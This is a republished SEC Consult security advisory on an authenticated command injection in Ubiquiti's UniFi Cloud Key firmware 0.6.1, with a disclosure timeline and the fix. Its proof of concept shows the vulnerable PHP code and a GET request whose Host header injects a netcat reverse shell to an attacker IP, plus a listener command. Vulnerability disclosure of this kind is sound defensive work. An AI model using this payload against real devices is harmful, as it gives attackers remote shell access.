exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Ubiquiti Networks UniFi Cloud Key Firmware 0.6.1 Command Injection

Ubiquiti Networks UniFi Cloud Key Firmware 0.6.1 Command Injection
Posted Aug 5, 2017
Authored by T. Weber | Site sec-consult.com

Ubiquiti Networks UniFi Cloud Key with firmware version 0.6.1 suffers from an authenticated command injection vulnerability.

tags | exploit
SHA-256 | b1d682f1fd9cfb123f3a27a3343c95e2a7ba06181c803421e10e7165845b5f8b

Ubiquiti Networks UniFi Cloud Key Firmware 0.6.1 Command Injection

Change Mirror Download
SEC Consult Vulnerability Lab Security Advisory < 20170804-1 >
=======================================================================
title: Authenticated Command Injection
product: Ubiquiti Networks UniFi Cloud Key
vulnerable version: Firmware v0.6.1
fixed version: Firmware v0.6.4
CVE number:
impact: High
homepage: https://www.ubnt.com
found: 2017-03-26
by: T. Weber (Office Vienna)
SEC Consult Vulnerability Lab

An integrated part of SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

https://www.sec-consult.com
=======================================================================

Vendor description:
-------------------
"Ubiquiti Networks develops high-performance networking
technology for service providers and enterprises. Our technology
platforms focus on delivering highly advanced and easily deployable
solutions that appeal to a global customer base in underserved and
underpenetrated markets."

Source: http://ir.ubnt.com/


Business recommendation:
------------------------
SEC Consult recommends not to use this device in production until a thorough
security review has been performed by security professionals and all
identified issues have been resolved.


Vulnerability overview/description:
-----------------------------------
A command injection can be triggered via the hostname header in the status GET
request. This vulnerability can be exploited when the Cloud Key web interface
is exposed to the Internet and an attacker has credentials to it.

Proof of concept:
-----------------
The following PHP snipplet is responsible for the command execution vulnerability:

(api.inc, line 265)
-------------------------------------------------------------------------------
[...]
function is_unifi_running() {
if (!isset($_SERVER['HTTP_HOST'])) {
$c_host = $_SERVER['SERVER_ADDR'];
} else {
$c_host = $_SERVER['HTTP_HOST'];
}
$unifi_href = 'http://' . $c_host . ':8080/status';
exec(CMD_CURL . $unifi_href, $out, $rc);
if ($rc == 0) {
return true;
}
return false;
}
[...]
-------------------------------------------------------------------------------

Since '$c_host' is not filtered, a command injection is possible.

The following GET request was used to open a reverse-shell via command injection
from the Cloud Key system (192.168.0.30) to the attacker (192.168.0.3):
-------------------------------------------------------------------------------
GET /api/status HTTP/1.1
Host: 192.168.0.30;busybox nc 192.168.0.3 8999 -e bash;
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
X-Access-Token: <Token>
Referer: https://192.168.0.30/login
Cookie: CKSESSIONID=<Session-ID>
Connection: close
-------------------------------------------------------------------------------

As the listener, netcat was used:
$ nc -lvp 8999

Vulnerable / tested versions:
-----------------------------
Ubiquiti Networks UniFi Cloud Key version 0.6.1 has been tested. This version
was the latest at the time the security vulnerabilities were discovered.


Vendor contact timeline:
------------------------
2017-03-29: Contacting vendor via HackerOne. Vendor sets status to
"Triaged".
2017-04-24: Asking for a status update; No answer.
2017-05-06: Found update 0.6.4 on the website of the vendor.
2017-05-15: Contacted vendor via e-mail and asked for status.
2017-05-16: Vendor closed the ticked and changed the status to resolved.
Current firmware version was v0.6.4. Set the publication
date to 2017-08-04 (at least 90 days after fix).
2017-08-04: Public release of security advisory

Solution:
---------
Upgrade to v0.6.4 or above.


Workaround:
-----------
None


Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/Career.htm

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/About/Contact.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF T. Weber / @2017

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close